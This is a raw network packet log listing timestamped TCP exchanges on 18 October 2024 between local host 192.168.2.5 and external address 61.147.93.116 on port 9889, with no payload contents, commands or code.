Oct 18, 2024 23:46:15.859081030 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.859098911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.859117031 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.859133959 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.859272957 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.895904064 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.895982981 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.896020889 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.896055937 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.896070957 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.896107912 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.896107912 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.896142006 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.896148920 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.896178007 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.896184921 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.896220922 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.896296024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.896339893 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.896437883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.896473885 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.896481991 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.896514893 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.925373077 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.925388098 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.925403118 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.925445080 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.925479889 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.925530910 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.925575972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.925576925 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.925609112 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.925618887 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.925646067 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.976085901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.976120949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.976152897 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.976154089 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:15.976171970 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:15.976193905 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.012826920 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.012883902 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.012917042 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.012934923 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.012937069 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.012973070 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.012991905 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.013006926 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.013006926 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.013014078 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.013055086 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.013756990 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.013791084 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.013812065 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.013825893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.013834953 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.013873100 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.044058084 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.044126987 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.044171095 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.044187069 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.044203043 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.044218063 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.044224024 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.044255018 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.044255972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.091711044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.091741085 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.091768026 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.091784954 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.094521999 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.094554901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.094577074 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.094588995 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.094594002 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.094660044 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.130094051 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.130110025 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.130125999 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.130146027 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.130161047 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.130300999 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.130316973 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.130345106 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.130358934 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.130790949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.130817890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.130832911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.130841970 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.130866051 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.130882978 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.161252975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.161288023 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.161308050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.161324978 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.161328077 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.161360025 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.161372900 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.161396027 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.161411047 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.161439896 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.211510897 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.211572886 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.211606026 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.211639881 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.211638927 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.211663961 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.211677074 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.211695910 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.211719036 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.247770071 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.247817039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.247850895 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.247853994 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.247878075 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.247900963 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.247911930 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.247948885 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.247962952 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.247997999 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.248308897 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.248362064 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.248433113 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.248486042 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.248486042 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.248522043 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.248532057 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.248563051 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.278408051 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.278459072 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.278495073 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.278510094 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.278532028 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.278537035 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.278553009 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.278599977 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.319082975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.319180965 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.319200993 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.319235086 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.328743935 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.328784943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.328802109 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.328804016 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.328828096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.328841925 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.328844070 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.328866959 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.328881979 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.328902006 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.365001917 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.365025043 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.365041971 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.365056992 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.365072966 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.365088940 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.365113020 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.365135908 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.365907907 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.365958929 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.365963936 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.365982056 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.366003990 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.366018057 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.395533085 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.395611048 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.395618916 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.395648956 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.395657063 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.395685911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.395694971 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.395731926 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.395730972 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.395761967 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.395777941 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.395807028 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.445821047 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.445853949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.445871115 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.445885897 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.445902109 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.445910931 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.445918083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.445935965 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.445935965 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.445955038 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.445980072 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.445993900 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.481884003 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.481921911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.481956005 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.481973886 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.481988907 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.481997967 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.482026100 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.482026100 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.482048035 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.482067108 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.482933998 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.482992887 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.483006954 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.483032942 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.483047962 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.483076096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.512062073 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.512089968 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.512104988 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.512156963 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.512193918 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.562499046 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.562597036 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.562632084 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.562649012 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.562693119 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.562706947 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.562728882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.562733889 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.562779903 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.562788963 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.562828064 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.562834024 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.562937021 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.563114882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.563167095 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.563185930 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.563220024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.563232899 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.563256025 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.563277006 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.563306093 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.599467993 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.599504948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.599543095 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.599556923 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.599558115 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.599592924 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.599607944 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.599630117 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.599636078 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.599663973 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.599673033 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.599699020 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.599706888 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.599735975 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.599961996 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.600002050 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.600023031 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.600035906 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.600043058 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.600071907 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.629338980 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.629354000 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.629370928 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.629393101 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.629409075 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.679591894 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.679626942 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.679657936 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.679661036 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.679676056 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.679697037 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.679708958 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.679729939 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.679739952 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.679768085 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.679773092 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.679811001 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.679821968 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.679856062 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.679868937 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.679892063 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.679894924 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.679929972 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.680438042 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.680474043 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.680490017 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.680542946 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.716321945 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.716371059 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.716381073 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.716412067 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.716413975 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.716448069 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.716463089 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.716486931 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.716495037 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.716536045 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.716953993 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.717006922 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.717010021 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.717045069 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.717056036 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.717080116 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.717083931 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.717119932 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.717128038 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.717165947 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.746594906 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.746643066 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.746680975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.746696949 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.746768951 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.746768951 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.796585083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.796643972 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.796675920 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.796681881 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.796690941 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.796717882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.796729088 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.796753883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.796762943 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.796788931 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.796806097 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.796824932 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.796834946 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.796863079 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.796875000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.796906948 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.797291040 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.797324896 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.797348022 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.797359943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.797372103 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.797401905 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.833283901 CEST	9889	49720	61.147.93.116	192.168.2.5
